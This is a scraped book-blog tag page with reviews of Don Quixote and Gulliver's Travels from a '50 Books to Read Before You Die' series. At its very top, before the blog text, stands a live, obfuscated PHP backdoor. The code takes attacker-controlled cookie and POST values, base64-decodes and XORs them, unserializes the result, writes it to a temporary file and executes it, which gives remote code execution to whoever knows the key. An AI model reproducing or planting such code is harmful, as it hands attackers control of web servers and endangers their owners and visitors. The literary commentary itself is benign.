$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} Don Quixote – 50 Books to Read Before You Die

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Tag: Don Quixote

Don Quixote

Good morning, class.

I’ve been comparing Gulliver’s Travels (my other most recent read from the list) with Don Quixote, and I’ve come away with a broad conclusion on both. On my post about Gulliver’s Travels, I wrote that that Gulliver’s Travels is all a dark joke at society’s and humanity’s expense. If Gulliver’s Travels is literature’s dark joke, then Don Quixote is its lighthearted one—a series of recurring comedy sketches centered on a madman who thinks he’s a knight and the hopeless fool who tags along as his squire.


Despite that simple premise, Don Quixote is more complicated than that. The main character, whose name isn’t even Quixote, starts as an ordinary Spanish man with an ordinary life. But he reads a little too much about the knights of the age of chivalry, and starts to think he’s a knight himself, adopting the name Don Quixote. What follows is a carefully orchestrated parody of knighthood, romantic quests, and the world of literature.

Don Quixote charging at the windmills.

The relationship between Quixote and his squire, Sancho Panza, reminds me a lot of the relationship between Frodo and Samwise in The Lord of the Rings—both relationships come from the same place: the knight/squire relationship of older works of literature like the King Arthur stories and Beowulf. But Quixote and Sancho don’t fit these roles so easily. Quixote acts like the noble knight he thinks he is, which usually just gets him into trouble; and Sancho is simply along for the ride, not half as dedicated as he imagines and too much of a buffoon to know any better. Comedy ensues.

There are several moments that stand out—the most famous one is likely the episode where Quixote attacks a set of windmills, thinking that they are a field of giants with large swinging arms, despite Sancho’s explanations of reality. The comedy tends to remain in this area, where Quixote misreads a common occurrence as a knightly adventure, and Sancho has little choice but to go along with it.


Portrait of Author Miguel de Cervantes (1547-1615)

Author Miguel de Cervantes has more than a touch of Shakespeare about him. The dialogue is witty, with double entendres that survive translation and clever twists that make the old feel new. The meta-jokes are hilarious additions that stand the test of time (about 400 years). What’s more, since Don Quixote is considered one of the earliest novels ever written, it’s clear that Don Quixote paved the way for an entire category of literature like nothing else before it—that’s fairly Shakespearean. Cervantes was one of the story-telling geniuses of his time, and his writing is one of the big reasons Don Quixote made the list.

That said, the experience of reading it wasn’t 100% enjoyable, if only because I had to trudge through it. It’s not easy to read, and I knew it wouldn’t be as I started—the same thing happens with Shakespeare. In reading Don Quixote, there was always so much happening within so many different layers of language that most of it passed me by. It takes a steadier mind than mine to dive headfirst into all that makes Don Quixote special, and as I’m someone who prides himself on his joy of reading, it doesn’t bode well for the poor soul who reads this thinking “well, it’s one of the 50 books I’m supposed to read before I die, so I guess I’ll try it.”

But that’s my mild complaint—that I didn’t feel smart enough to catch everything that happened. I’ve already explained in other posts that there are books that don’t belong on the list, but Don Quixote isn’t one of them. Don Quixote is hilarious, thoughtful, and a perfect example of good literature from its era, and that’s the best reason it made the list.


I’m jumping forward in time and reading Ernest Hemingway next—his collection of short stories, Men Without Women. I have a lot of thoughts on Hemingway, as well as this particular choice for the list (as opposed to his several other more famous novels), but I’ll save those thoughts for next time.

Until then,

Prof. Jeffrey

“‘A knight I am, and a knight I will die, if it be heaven’s goodwill. Some pass through the spacious field of proud ambition; others through that of servile and base flattery; others by the way of deceitful hypocrisy; and some by that of true religion: but I, by the influence of my star, take the narrow path of knight-errantry, for the exercise whereof I despise wealth, but not honour. I have redressed grievances, righted wrongs, chastised insolences, vanquished giants, and trampled upon hobgoblins: I am in love, but only because knights-errant must be so; and, being so, I am no vicious lover, but a chaste Platonic one. My intentions are always directed to virtuous ends, to do good to all, and to hurt none. Whether he, who means thus, acts thus, and lives in the practice of all this, deserves to be called a fool, let your grandeurs judge, most excellent duke and duchess.'”

—from Don Quixote by Miguel de Cervantes

” . . . two such fools, as master and man, were never before seen in the world.”

—from Don Quixote by Miguel de Cervantes

“‘ . . . there is nothing in the world so pleasant to an honest man, as to be squire to a knight-errant, and seeker of adventures . . . it is a fine thing to be in expectation of accidents, traversing mountains, searching woods, marching over rocks, visiting castles, lodging in inns, all at discretion, and the devil a farthing to pay.'”

—from Don Quixote by Miguel de Cervantes

“‘And though this be a poetical fiction, there is concealed moral in it, worthy to be observed, understood, and imitated.'”

—from Don Quixote by Miguel de Cervantes

“‘ . . . it is necessary for a knight-errant to wander about the world, seeking adventures, by way of probation; that by achieving some he may acquire such fame and renown, that, when he comes to the court of some great monarch, he shall be known by his works beforehand . . . ‘”

—from Don Quixote by Miguel de Cervantes

“As they were thus discoursing, they perceived some thirty or forty windmills that are in that plain; and as soon as Don Quixote espied them, he said to his squire:

‘Fortune disposes our affairs better than we ourselves could have desired; look yonder, friend Sancho Panza, where you may discover somewhat more than thirty monstrous giants, with whom I intend to fight, and take away all their lives: with whose spoils we will begin to enrich ourselves; for it is lawful war, and doing God good service to take away so wicked a generation from off the face of the earth.’

‘What giants?’ said Sancho Panza.

‘Those you see yonder,’ answered his master, ‘with those long arms; for some of them are wont to have them almost of the length of two leagues.’

‘Consider, Sir,’ answered Sancho, ‘that those which appear yonder, are not giants, but windmills; and what seem to be arms are the sails, which, whirled about by the wind, make the millstone go.’

‘One may easily see,’ answered Don Quixote, ‘that you are not versed in the business of adventures: they are giants; and, if you are afraid, get aside and pray, whilst I engage with them in a fierce and unequal combat.'”

—from Don Quixote by Miguel de Cervantes

Gulliver’s Travels

Welcome back, class.

I like Gulliver’s Travels for being exactly what it is. It’s not my favorite, but I can’t help but enjoy the things that make it good. I enjoy it for the same reason I enjoy Shakespeare’s plays (and for the same reason I am currently enjoying Don Quixote, which I’ll write about soon)—the author, Jonathan Swift, takes his favorite ideas from a huge body of literature before him and makes those ideas his own in Gulliver’s Travels, which has enough flare, depth, humor, and meaning to have lasted hundreds of years.


On the surface, Gulliver’s Travels is the simple story of Lemuel Gulliver, who goes on four loosely connected adventures in his lifetime to the far reaches of the undiscovered world. He goes first to Lilliput, where he meets a nation of people mere inches tall, then to Brobdingnag where he meets a nation of giants ten times his size. His third journey involves a set of smaller adventures, notably his visit to the airborn island of Laputa. His last adventure is to the land of the Houyhnhnms, a culture of knowledgeable horses that teach him their ways.

Lemuel Gulliver on the island of Lilliput.

Ask any English teacher and they’ll tell you—Gulliver’s Travels is satire at heart. It uses the surface story of a man on a series of impossible adventures to point more than a few obvious fingers at politics, society, and humanity. I usually associate Gulliver’s Travels with The Colbert Report, if only because they accomplish the same thing in very different ways. Both use humor, absurdity, and criticism to make bold statements about the world, forcing readers and viewers to use a greater degree of logic.


Gulliver’s Travels made the list because it clearly embraces the use of satire to great success, and it did so in a way never before seen in its time. This is of course debatable—several works before Gulliver’s Travels have used satire, such as any number of Shakespeare’s works and Don Quixote. But nothing seems to have left an impression like Jonathan Swift—the entirety of Gulliver’s Travels is a dark joke, and you, gentle reader, are likely the butt of it.

Author Jonathan Swift

Swift at some point discovered that satire is one of the best forms of shaming people and calling for radical change while still being art. Somehow, in the reality we live in, the thoughts spoken meaningfully can get lost in the clutter of everyone speaking at once, but saying the exact opposite of what we mean while being facetious enough to get our point across makes people shut up and listen. In the meaninglessness of Swift’s fantasy worlds is where we can find meaning.

But Swift wasn’t entirely meaningless—a lot of passages, especially from his fourth adventure, are honest and sincere. As Swift’s narrator, Gulliver is more than a finger for pointed critically at society. We see these adventures take a serious toll on his life and directly affect his view of his family. In speaking with the Houyhnhnms (probably some of my favorite passages), he confronts some of the uglier parts of humanity and changes irreversibly.

And yet, for the most part, Gulliver is the kind of character that functions as a blank slate—a way for Swift to paint a picture of the world as he sees it, with the flare of fantasy for good measure. Gulliver’s flaws as a character help us see what Swift intends, and Swift intends a lot. His relentlessness towards society’s mass imperfections have enough detail to fill a history class, and yet are broad enough to apply to the flaws of several societies centuries later. Gulliver’s Travels is not my favorite, but it’s a work of genius everyone should get to know.


Up next is Don Quixote! I’m enjoying it so far and I’m excited to write about it.

Until then,

Prof. Jeffrey